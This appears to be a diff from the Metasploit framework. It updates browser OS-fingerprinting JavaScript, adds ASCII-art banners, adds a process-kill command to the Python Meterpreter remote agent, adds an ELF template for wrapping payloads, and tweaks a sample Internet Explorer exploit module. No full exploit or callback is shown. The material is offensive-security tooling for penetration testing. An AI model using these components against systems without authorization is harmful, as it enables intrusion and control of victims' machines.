@@ -1015,7 +1030,7 @@ os_detect.getVersion = function(){
 	if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; }
 
 	//--
-	// Flavor
+	// Figure out the type of Windows
 	//--
 	if (!ua_is_lying) {
 		version = useragent.toLowerCase();
@@ -1032,27 +1047,28 @@ os_detect.getVersion = function(){
 		else if (version.indexOf("mac") != -1)   { os_name = oses_mac_osx; }
 		else if (version.indexOf("linux") != -1) { os_name = oses_linux;   }
 	}
-	if (os_name == oses_windows && (!os_flavor || 0 == os_flavor.length)) {
-		if (version.indexOf("windows 95") != -1)          { os_flavor = "95";    }
-		else if (version.indexOf("windows nt 4") != -1)   { os_flavor = "NT";    }
-		else if (version.indexOf("win 9x 4.9") != -1)     { os_flavor = "ME";    }
-		else if (version.indexOf("windows 98") != -1)     { os_flavor = "98";    }
-		else if (version.indexOf("windows nt 5.0") != -1) { os_flavor = "2000";  }
-		else if (version.indexOf("windows nt 5.1") != -1) { os_flavor = "XP";    }
-		else if (version.indexOf("windows nt 5.2") != -1) { os_flavor = "2003";  }
-		else if (version.indexOf("windows nt 6.0") != -1) { os_flavor = "Vista"; }
-		else if (version.indexOf("windows nt 6.1") != -1) { os_flavor = "7";     }
-		else if (version.indexOf("windows nt 6.2") != -1) { os_flavor = "8";     }
+	if (os_name == oses_windows) {
+		if (version.indexOf("windows 95") != -1)          { os_name = "Windows 95";    }
+		else if (version.indexOf("windows nt 4") != -1)   { os_name = "Windows NT";    }
+		else if (version.indexOf("win 9x 4.9") != -1)     { os_name = "Windows ME";    }
+		else if (version.indexOf("windows 98") != -1)     { os_name = "Windows 98";    }
+		else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000";  }
+		else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP";    }
+		else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003";  }
+		else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; }
+		else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7";     }
+		else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8";     }
+		else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1";   }
 	}
-	if (os_name == oses_linux && (!os_flavor || 0 == os_flavor.length)) {
-		if (version.indexOf("gentoo") != -1)       { os_flavor = "Gentoo";  }
-		else if (version.indexOf("ubuntu") != -1)  { os_flavor = "Ubuntu";  }
-		else if (version.indexOf("debian") != -1)  { os_flavor = "Debian";  }
-		else if (version.indexOf("rhel") != -1)    { os_flavor = "RHEL";    }
-		else if (version.indexOf("red hat") != -1) { os_flavor = "RHEL";    }
-		else if (version.indexOf("centos") != -1)  { os_flavor = "CentOS";  }
-		else if (version.indexOf("fedora") != -1)  { os_flavor = "Fedora";  }
-		else if (version.indexOf("android") != -1) { os_flavor = "Android"; }
+	if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) {
+		if (version.indexOf("gentoo") != -1)       { os_vendor = "Gentoo";  }
+		else if (version.indexOf("ubuntu") != -1)  { os_vendor = "Ubuntu";  }
+		else if (version.indexOf("debian") != -1)  { os_vendor = "Debian";  }
+		else if (version.indexOf("rhel") != -1)    { os_vendor = "RHEL";    }
+		else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL";    }
+		else if (version.indexOf("centos") != -1)  { os_vendor = "CentOS";  }
+		else if (version.indexOf("fedora") != -1)  { os_vendor = "Fedora";  }
+		else if (version.indexOf("android") != -1) { os_vendor = "Android"; }
 	}
 
 	//--
@@ -1110,7 +1126,9 @@ os_detect.getVersion = function(){
 
 	this.ua_is_lying = ua_is_lying;
 	this.os_name = os_name;
+	this.os_vendor = os_vendor;
 	this.os_flavor = os_flavor;
+	this.os_device = os_device;
 	this.os_sp = os_sp;
 	this.os_lang = os_lang;
 	this.arch = arch;
@@ -1118,7 +1136,7 @@ os_detect.getVersion = function(){
 	this.ua_version = ua_version;
 	this.ua_version = ua_version;
 
-	return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
+	return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
 }; // function getVersion
 
 os_detect.searchVersion = function(needle, haystack) {

data/logos/gargoyle.hwtxt

@@ -0,0 +1,34 @@
+
+ ,                                                               ,
+ \'.                                                           .'/
+  ),\                                                         /,( 
+ /__\'.                                                     .'/__\
+ \  `'.'-.__                                           __.-'.'`  /
+  `)   `'-. \                                         / .-'`   ('
+  /   _.--'\ '.          ,               ,          .' /'--._   \
+  |-'`      '. '-.__    / \             / \    __.-' .'      `'-|
+  \         _.`'-.,_'-.|/\ \    _,_    / /\|.-'_,.-'`._         /
+   `\    .-'       /'-.|| \ |.-"   "-.| / ||.-'\       '-.    /`
+     )-'`        .'   :||  / -.\\ //.- \  ||:   '.        `'-(
+    /          .'    / \\_ |  /o`^'o\  | _// \    '.          \
+    \       .-'    .'   `--|  `"/ \"`  |--`   '.    '-.       /
+     `)  _.'     .'    .--.; |\__"__/| ;.--.    '.     '._  ('
+     /_.'     .-'  _.-'     \\ \/^\/ //     `-._  '-.     '._\
+     \     .'`_.--'          \\     //          `--._`'.     /
+      '-._' /`            _   \\-.-//   _            `\ '_.-'
+          `<     _,..--''`|    \`"`/    |`''--..,_     >`
+           _\  ``--..__   \     `'`     /   __..--``  /_
+          /  '-.__     ``'-;    / \    ;-'``     __.-'  \
+         |    _   ``''--..  \'-' | '-'/  ..--''``   _    |
+         \     '-.       /   |/--|--\|   \       .-'     /
+          '-._    '-._  /    |---|---|    \  _.-'    _.-'
+              `'-._   '/ / / /---|---\ \ \ \'   _.-'`
+                   '-./ / / / \`---`/ \ \ \ \.-'
+                       `)` `  /'---'\  ` `(`
+                 jgs  /`     |       |     `\
+                     /  /  | |       | |  \  \
+                 .--'  /   | '.     .' |   \  '--.
+                /_____/|  / \._\   /_./ \  |\_____\
+               (/      (/'     \) (/     `\)      \)
+
+

data/logos/ghost01.hwtxt

@@ -0,0 +1,37 @@
+
+                                         .,,cccd$$$$$$$$$$$ccc,
+                                     ,cc$$$$$$$$$$$$$$$$$$$$$$$$$cc,
+                                   ,d$$$$$$$$$$$$$$$$"J$$$$$$$$$$$$$$c,
+                                 d$$$$$$$$$$$$$$$$$$,$" ,,`?$$$$$$$$$$$$L
+                               ,$$$$$$$$$$$$$$$$$$$$$',J$$$$$$$$$$$$$$$$$b
+                              ,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i `$h
+                              $$$$$$$$$$$$$$$$$$$$$$$$$P'  "$$$$$$$$$$$h $$
+                             ;$$$$$$$$$$$$$$$$$$$$$$$$F,$$$h,?$$$$$$$$$$h$F
+                             `$$$$$$$$$$$$$$$$$$$$$$$F:??$$$:)$$$$P",. $$F
+                              ?$$$$$$$$$$$$$$$$$$$$$$(   `$$ J$$F"d$$F,$F
+                               ?$$$$$$$$$$$$$$$$$$$$$h,  :P'J$$F  ,$F,$"
+                                ?$$$$$$$$$$$$$$$$$$$$$$$ccd$$`$h, ",d$
+                                 "$$$$$$$$$$$$$$$$$$$$$$$$",cdc $$$$"
+                        ,uu,      `?$$$$$$$$$$$$$$$$$$$$$$$$$$$c$$$$h
+                    .,d$$$$$$$cc,   `$$$$$$$$$$$$$$$$??$$$$$$$$$$$$$$$,
+                  ,d$$$$$$$$$$$$$$$bcccc,,??$$$$$$ccf `"??$$$$??$$$$$$$
+                 d$$$$$$$$$$$$$$$$$$$$$$$$$h`?$$$$$$h`:...  d$$$$$$$$P
+                d$$$$$$$$$$$$$$$$$$$$$$$$$$$$`$$$$$$$hc,,cd$$$$$$$$P"
+            =$$?$$$$$$$$P' ?$$$$$$$$$$$$$$$$$;$$$$$$$$$???????",,
+               =$$$$$$F       `"?????$$$$$$$$$$$$$$$$$$$$$$$$$$$$$bc
+               d$$F"?$$k ,ccc$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i
+        .     ,ccc$$c`""u$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",$$$$$$$$$$$$h
+     ,d$$$L  J$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `""$$$??$$$$$$$
+   ,d$$$$$$c,"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F       `?J$$$$$$$'
+  ,$$$$$$$$$$h`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F           ?$$$$$$$P""=,
+ ,$$$F?$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F              3$$$$II"?$h,
+ $$$$$`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P"               ;$$$??$$$,"?"
+ $$$$F ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",z'                3$$h   ?$F
+        `?$$$$$$$$$$$$$$$??$$$$$$$$$PF"',d$P"                  "?$F
+           """""""         ,z$$$$$$$$$$$$$P
+                          J$$$$$$$$$$$$$$F
+                         ,$$$$$$$$$$$$$$F
+                         :$$$$$c?$$$$PF'
+                         `$$$$$$$P
+                          `?$$$$F
+

data/logos/json01.hwtxt

@@ -0,0 +1,21 @@
+
+                              aa@@@@@@@@@@@@@aa
+                           a@@@@@@@@@@@@@@@@@@@@@a
+                         a@@@@@@@@@@@@@@@@@@@@@@@@@a
+                        @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+                       @@@@@@@~~~~@@@@@@@@@~~~~@@@@@@@
+                       @@@@@@      @@@@@@@      @@@@@@
+                       @@@@@@@aaaa@@@@@@@@@aaaa@@@@@@@
+                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+                       `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'
+                        @@@@@@@@~@@@~@@@~@@@~@@@@@@@@
+                         @@@@@@@@@@@@@@@@@@@@@@@@@@@
+                          @@@@@@@@~@@@~@@@~@@@@@@@@
+                           @@@@@@@@@@@@@@@@@@@@@@@
+                            @@@@@@@@~@@@~@@@@@@@@
+                             `@@@@@@@@@@@@@@@@@'
+                                 ~~@@@@@@@~~
+
+

data/logos/metasploit-park.txt

@@ -0,0 +1,17 @@
+%clr%whi
+  Metasploit Park, System Security Interface
+  Version 4.0.5, Alpha E
+  Ready...
+  > %bldaccess security%clr
+  access: PERMISSION DENIED.
+  > %bldaccess security grid%clr
+  access: PERMISSION DENIED.
+  > %bldaccess main security grid%clr
+  access: PERMISSION DENIED....and...
+  %redYOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!
+  YOU DIDN'T SAY THE MAGIC WORD!%clr

data/logos/mummy.hwtxt

@@ -0,0 +1,29 @@
+
+                        ,mmmmm,            ______     _________
+                        @ooooo@,         / /. . \\   /./-----\.\
+                        @0m0m0Q@        / /. . .`,\\>./,  ,  ,\.\
+                        @0X00X@@       | |. . .  |:|\|   ,  ,  |.|
+                     ____@0m00@_____   | | . . . |:|X| ,  ,  , |.|
+                    @@@op(oboy)pop@@Ok | |. . .  |:|\|   ,  ,  |.|
+                   @@@@opopopopop@@@p@@| | . . . |:|\| ,  ,  , |.|
+                   @@o@@opopopopop@@op@@,|. . .  |:|\|   ,  ,  |.|
+                   @@o@@popopopopopop@o@@| . . . |:|X| ,  ,  , |.|
+                    @@o@@mmmmmmgogogo@oo@|. . .  |:|\|   ,  ,  |.|
+                     @@@@@@@mmm'ooo@|@oo@| . . . |:|\| ,  ,  , |.|
+                      @oooooooOOOO@"  @o@|. . .  |:|\|   ,  ,  |.|
+                      @OoOoO@OoOoO@   @@@| . . . |:|X| ,  ,  , |.|
+                      @oooo@@@oooo@   @@@|. . . .|:|\|   ,  ,  |.|
+                     .@@@o@@@@ooo@@  ,@@}| . . .//  \\_________/.|
+                    .@@oo@@@@@@ooo@. "@@'|. . //     \==========/
+                   .@ooooo@@@@@oooo@      \ //
+                   @ooooO@' `@@ooo@|
+                   @oooo@'   `@oooo@
+                  @ooo@'     `oooo@|      The MUMMY, from his coffin,
+                  @oo@@'      `@oo@|      began to rise. And suddenly,
+                  @o@@|        @@o@,           to my surprize!
+                  @@@@:        @@o@|                -----
+                  @@@@:        @@o@|          "HE DID THE MASH!"
+                  `@oo:        `@@@:
+                  /@@@)        /@@@)
+                (@@@@/       (@@@@/          \_/ Phoenix... (lives)
+

data/logos/pentagram01.hwtxt

@@ -0,0 +1,22 @@
+
+                        .....
+                   .d$$$$*$$$$$$bc
+                .d$P"    d$$    "*$$.
+               d$"      4$"$$      "$$.
+             4$P        $F ^$F       "$c
+            z$%        d$   3$        ^$L
+           4$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F
+           $$$F"""""""$F""""""$F"""""C$$*$
+          .$%"$$e    d$       3$   z$$"  $F
+          4$    *$$.4$"        $$d$P"    $$
+          4$      ^*$$.       .d$F       $$
+          4$       d$"$$c   z$$"3$       $F
+           $L     4$"  ^*$$$P"   $$     4$"
+           3$     $F   .d$P$$e   ^$F    $P
+            $$   d$  .$$"    "$$c 3$   d$
+             *$.4$"z$$"        ^*$$$$ $$
+              "$$$$P"             "$$$P
+                *$b.             .d$P"
+                  "$$$ec.....ze$$$"
+                      "**$$$**""
+

data/logos/pumpkin01.hwtxt

@@ -0,0 +1,28 @@
+
+
+                          ooo
+                         $ o$
+                        o $$
+              ""$$$    o" $$ oo "
+          " o$"$oo$$$"o$$o$$"$$$$$ o
+         $" "o$$$$$$o$$$$$$$$$$$$$$o     o
+      o$"    "$$$$$$$$$$$$$$$$$$$$$$o" "oo  o
+     " "     o  "$$$o   o$$$$$$$$$$$oo$$
+    " $     " "o$$$$$ $$$$$$$$$$$"$$$$$$$o
+  o  $       o o$$$$$"$$$$$$$$$$$o$$"""$$$$o " "
+ o          o$$$$$"    "$$$$$$$$$$ "" oo $$   o $
+ $  $       $$$$$  $$$oo "$$$$$$$$o o $$$o$$oo o o
+o        o $$$$$oo$$$$$$o$$$$ ""$$oo$$$$$$$$"  " "o
+"   o    $ ""$$$$$$$$$$$$$$  o  "$$$$$$$$$$$$   o "
+"   $      "$$$$$$$$$$$$$$   "   $$$"$$$$$$$$o  o
+$   o      o$"""""$$$$$$$$    oooo$$ $$$$$$$$"  "
+$      o""o $$o    $$$$$$$$$$$$$$$$$ ""  o$$$   $ o
+ o     " "o "$$$$  $$$$$""""""""""" $  o$$$$$"" o o
+ "  " o  o$o" $$$$o   ""           o  o$$$$$"   o
+  $         o$$$$$$$oo            "oo$$$$$$$"    o
+  "$   o o$o $o o$$$$$"$$$$oooo$$$$$$$$$$$$$$"o$o
+    "o oo  $o$"oo$$$$$o$$$$$$$$$$$$"$$$$$$$$"o$"
+     "$ooo $$o$   $$$$$$$$$$$$$$$$ $$$$$$$$o"
+        "" $$$$$$$$$$$$$$$$$$$$$$" """"
+                         """"""
+

data/logos/pumpkin02.hwtxt

@@ -0,0 +1,25 @@
+                           ........
+                            ;::;;::;,
+                            ;::;;::;;,
+                           ;;:::;;::;;,
+           .vnmmnv%vnmnv%,.;;;:::;;::;;,  .,vnmnv%vnmnv,
+        vnmmmnv%vnmmmnv%vnmmnv%;;;;;;;%nmmmnv%vnmmnv%vnmmnv
+      vnmmnv%vnmmmmmnv%vnmmmmmnv%;:;%nmmmmmmnv%vnmmmnv%vnmmmnv
+     vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmnv%vnmmmnv%vnmmmnv
+    vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmmmnv%vnmmmnv%vnmmmnv
+   vnmmnv%vnmmmmmnv%vnmm;mmmmmmnv%vnmmmmmmmm;mmnv%vnmmmnv%vnmmmnv,
+  vnmmnv%vnmmmmmnv%vnmm;' mmmmmnv%vnmmmmmmm;' mmnv%vnmmmnv%vnmmmnv
+  vnmmnv%vnmmmmmnv%vn;;    mmmmnv%vnmmmmmm;;    nv%vnmmmmnv%vnmmmnv
+ vnmmnv%vnmmmmmmnv%v;;      mmmnv%vnmmmmm;;      v%vnmmmmmnv%vnmmmnv
+ vnmmnv%vnmmmmmmnv%vnmmmmmmmmm;;       mmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
+ vnmmnv%vnmmmmmmnv%vnmmmmmmmmmm;;     mmmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
+ vnmmnv%vnmmmmm nv%vnmmmmmmmmmmnv;, mmmmmmmmmmmmnv%vn;mmmmmnv%vnmmmnv
+ vnmmnv%vnmmmmm  nv%vnmmmmmmmmmnv%;nmmmmmmmmmmmnv%vn; mmmmmnv%vnmmmnv
+ `vnmmnv%vnmmmm,  v%vnmmmmmmmmmmnv%vnmmmmmmmmmmnv%v;  mmmmnv%vnnmmnv'
+  vnmmnv%vnmmmm;,   %vnmmmmmmmmmnv%vnmmmmmmmmmnv%;'   mmmnv%vnmmmmnv
+   vnmmnv%vnmmmm;;,   nmmm;'              mmmm;;'    mmmnv%vnmmmmnv'
+   `vnmmnv%vnmmmmm;;,.         mmnv%v;,            mmmmnv%vnmmmmnv'
+    `vnmmnv%vnmmmmmmnv%vnmmmmmmmmnv%vnmmmmmmnv%vnmmmmmnv%vnmmmmnv'
+      `vnmvn%vnmmmmmmnv%vnmmmmmmmnv%vnmmmmmnv%vnmmmmmnv%vnmmmnv'
+          `vn%vnmmmmmmn%:%vnmnmmmmnv%vnmmmnv%:%vnmmnv%vnmnv'
+

data/logos/pumpkin03.hwtxt

@@ -0,0 +1,25 @@
+
+
+                  @@@
+                  @@@
+                   @@@
+                   @@@
+           @@@@@@@@@@@@@@@@@@@@@@
+         @@@@@@@@@@@@@@@@@@@@@@@@@@
+       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+     @@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@
+   @@@@@@@@@   @@@@@@@@@@@@@@   @@@@@@@@@
+ @@@@@@@@@@     @@@@@@@@@@@@     @@@@@@@@@@
+@@@@@@@@@@       @@@@  @@@@       @@@@@@@@@@
+@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@
+@@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@@@@
+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
+ @@@@@@@@  @@ @@ @@ @@ @@ @@ @@ @  @@@@@@@@
+   @@@@@@@                        @@@@@@@
+     @@@@@@  @@ @@ @@ @@ @@ @@ @ @@@@@@
+       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+         @@@@@@@@@@@@@@@@@@@@@@@@@@
+           @@@@@@@@@@@@@@@@@@@@@@
+

data/logos/pumpkin04.hwtxt

@@ -0,0 +1,20 @@
+
+                   __
+                  |  |
+                  |  |
+              ___/____\___
+         _- ~              ~  _
+      - ~                      ~ -_
+    -                               _
+  -         /\            /\          _
+ -         / *\          / *\          _
+_         /____\        /____\          _
+_                  /\                   _
+_                 /__\                  _
+_      |\                      /|       _
+ -     \ `\/\/\/\/\/\/\/\/\/\/' /      _
+  -     \                      /      -
+    ~    `\/^\/^\/^\/^\/^\/^\/'      ~
+      ~                            -~
+       `--_._._._._._._._._._.._--'
+

data/logos/tricks01.hwtxt

@@ -0,0 +1,35 @@
+
+                            _...----.
+                          .'    .-'`
+                        ,''--..;
+                       /       |
+               _______/________|_______
+              `-----/// _\  /_ \\\-----`
+                .---./ / o\/o \ \.---.
+               <(_ /// \__/\__/ \\\ _)>   _.---.
+                '-. //    oo    \\ .-'  .'   .__`\
+             o    /// __..--..__ \\\   /       \`\|
+          o-'*'-o //| '\/\/\/\/' |\\  /         ; '
+          \*\|/*/   ;--. """"  .-;   |   _   _  |
+         .-'---'-. / \|||-....(|||`\ |  (o) (o) |
+        /         \ /\           /\|/           |
+        |  .---,  |/  \         /  ;  '         |
+        | / e e \ |    '.     .'   |   '-.       \
+         \|  ^  |/       '---'     |              \_
+         ()._-_.()     T R I C K   |     .._.----/` \
+        ,/\'._.'/\. '  .           |    /   ``"-/||\ \
+       / \/     \/ \     O R       |   |            `7,
+      |  ^^_____^^  |              | . /// _          |
+      |oOO`     `OOo|  T R E A T   ; |' / |_) _       |
+      \| '._____.' |/             /  \-|  |_)/ \ _    |
+       |::         | '.__     __,;    `|     \_// \   |
+       |::         |     `````   |     |        \_/  ;
+       |::         |             |      \           /
+       \::.        /_____________|       ``'--..___/
+        '._______.' '-|   |   |-'                 |
+          |_ | _|     |   |   |               __.-;
+          \  |  /     /-._|_.-\                    \
+           \_|_/     /`'-.|.-'`\                   /
+     jgs  /--T--\   /    .'.    \'-..____.---''''``
+         (__/ \__)  \____/  \___/
+

data/meterpreter/ext_server_stdapi.py

@@ -472,10 +472,14 @@ ERROR_FAILURE = 1
 ERROR_CONNECTION_ERROR = 10000
 
 # Windows Constants
-GAA_FLAG_SKIP_ANYCAST    = 0x0002
-GAA_FLAG_SKIP_MULTICAST  = 0x0004
-GAA_FLAG_INCLUDE_PREFIX  = 0x0010
-GAA_FLAG_SKIP_DNS_SERVER = 0x0080
+GAA_FLAG_SKIP_ANYCAST             = 0x0002
+GAA_FLAG_SKIP_MULTICAST           = 0x0004
+GAA_FLAG_INCLUDE_PREFIX           = 0x0010
+GAA_FLAG_SKIP_DNS_SERVER          = 0x0080
+PROCESS_TERMINATE                 = 0x0001
+PROCESS_VM_READ                   = 0x0010
+PROCESS_QUERY_INFORMATION         = 0x0400
+PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
 
 WIN_AF_INET  = 2
 WIN_AF_INET6 = 23
@@ -666,12 +670,11 @@ def stdapi_sys_config_sysinfo(request, response):
 
 @meterpreter.register_function
 def stdapi_sys_process_close(request, response):
-	proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
+	proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
 	if not proc_h_id:
 		return ERROR_SUCCESS, response
 	proc_h_id = proc_h_id['value']
-	proc_h = meterpreter.channels[proc_h_id]
-	proc_h.kill()
+	del meterpreter.processes[proc_h_id]
 	return ERROR_SUCCESS, response
 
 @meterpreter.register_function
@@ -720,6 +723,23 @@ def stdapi_sys_process_getpid(request, response):
 	response += tlv_pack(TLV_TYPE_PID, os.getpid())
 	return ERROR_SUCCESS, response
 
+@meterpreter.register_function
+def stdapi_sys_process_kill(request, response):
+	for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
+		pid = pid['value']
+		if has_windll:
+			k32 = ctypes.windll.kernel32
+			proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
+			if not proc_h:
+				return ERROR_FAILURE, response
+			if not k32.TerminateProcess(proc_h, 0):
+				return ERROR_FAILURE, response
+		elif hasattr(os, 'kill'):
+			os.kill(pid, 9)
+		else:
+			return ERROR_FAILURE, response
+	return ERROR_SUCCESS, response
+
 def stdapi_sys_process_get_processes_via_proc(request, response):
 	for pid in os.listdir('/proc'):
 		pgroup = bytes()
@@ -772,9 +792,6 @@ def stdapi_sys_process_get_processes_via_ps(request, response):
 
 def stdapi_sys_process_get_processes_via_windll(request, response):
 	TH32CS_SNAPPROCESS = 2
-	PROCESS_QUERY_INFORMATION = 0x0400
-	PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
-	PROCESS_VM_READ = 0x10
 	TOKEN_QUERY = 0x0008
 	TokenUser = 1
 	k32 = ctypes.windll.kernel32

data/meterpreter/meterpreter.py

@@ -332,7 +332,6 @@ class PythonMeterpreter(object):
 				response = self.create_response(request)
 				self.socket.send(response)
 			else:
-				channels_for_removal = []
 				# iterate over the keys because self.channels could be modified if one is closed
 				channel_ids = list(self.channels.keys())
 				for channel_id in channel_ids:

data/templates/src/elf/dll/elf_dll_x64_template.s

@@ -0,0 +1,95 @@
+; build with:
+;   nasm elf_dll_x64_template.s -f bin -o template_x64_linux_dll.bin
+
+BITS 64
+org     0
+ehdr:
+  db    0x7f, "ELF", 2, 1, 1, 0    ; e_ident
+  db    0, 0, 0, 0,  0, 0, 0, 0
+  dw    3                          ; e_type    = ET_DYN
+  dw    62                         ; e_machine = EM_X86_64
+  dd    1                          ; e_version = EV_CURRENT
+  dq    _start                     ; e_entry   = _start
+  dq    phdr - $$                  ; e_phoff
+  dd    shdr - $$                  ; e_shoff
+  dq    0                          ; e_flags
+  dw    ehdrsize                   ; e_ehsize
+  dw    phdrsize                   ; e_phentsize
+  dw    2                          ; e_phnum
+  dw    shentsize                  ; e_shentsize
+  dw    2                          ; e_shnum
+  dw    1                          ; e_shstrndx
+ehdrsize equ  $ - ehdr
+
+phdr:
+  dd    1                          ; p_type   = PT_LOAD
+  dd    7                          ; p_flags  = rwx
+  dq    0                          ; p_offset
+  dq    $$                         ; p_vaddr
+  dq    $$                         ; p_paddr
+  dq    0xDEADBEEF                 ; p_filesz
+  dq    0xDEADBEEF                 ; p_memsz
+  dq    0x1000                     ; p_align
+phdrsize equ  $ - phdr
+  dd    2                          ; p_type  = PT_DYNAMIC
+  dd    7                          ; p_flags = rwx
+  dq    dynsection                 ; p_offset
+  dq    dynsection                 ; p_vaddr
+  dq    dynsection                 ; p_vaddr
+  dq    dynsz                      ; p_filesz
+  dq    dynsz                      ; p_memsz
+  dq    0x1000                     ; p_align
+
+shdr:
+  dd    1                          ; sh_name
+  dd    6                          ; sh_type = SHT_DYNAMIC
+  dq    0                          ; sh_flags
+  dq    dynsection                 ; sh_addr
+  dq    dynsection                 ; sh_offset
+  dq    dynsz                      ; sh_size
+  dd    0                          ; sh_link
+  dd    0                          ; sh_info
+  dq    8                          ; sh_addralign
+  dq    dynsz                      ; sh_entsize
+shentsize equ $ - shdr
+  dd    0                          ; sh_name
+  dd    3                          ; sh_type = SHT_STRTAB
+  dq    0                          ; sh_flags
+  dq    strtab                     ; sh_addr
+  dq    strtab                     ; sh_offset
+  dq    strtabsz                   ; sh_size
+  dd    0                          ; sh_link
+  dd    0                          ; sh_info
+  dq    0                          ; sh_addralign
+  dq    0                          ; sh_entsize
+dynsection:
+; DT_INIT
+  dq    0x0c
+  dq    _start
+; DT_HASH
+  dq    0x04
+  dq    0
+; DT_STRTAB
+  dq    0x05
+  dq    strtab
+; DT_SYMTAB
+  dq    0x06
+  dq    strtab
+; DT_STRSZ
+  dq    0x0a
+  dq    strtabsz
+; DT_SYMENT
+  dq    0x0b
+  dq    0
+; DT_NULL
+  dq    0x00
+  dq    0
+dynsz equ $ - dynsection
+
+strtab:
+ db 0
+ db 0
+strtabsz equ $ - strtab
+global _start
+_start:
+

documentation/samples/modules/exploits/ie_browser.rb

@@ -29,7 +29,7 @@ class Metasploit4 < Msf::Exploit::Remote
     :ua_minver  => "8.0",
     :ua_maxver  => "10.0",
     :javascript => true,
-    :os_name    => OperatingSystems::WINDOWS,
+    :os_name    => OperatingSystems::Match::WINDOWS,
     :rank       => NormalRanking
   })
 
@@ -85,6 +85,8 @@ class Metasploit4 < Msf::Exploit::Remote
       os_name = 'Windows 7'
     when '6.2'
       os_name = 'Windows 8'
+    when '6.3'
+      os_name = 'Windows 8.1'      
     end
 
     targets.each do |t|

external/source/exploits/cve-2014-4113/.gitignore

@@ -0,0 +1,151 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
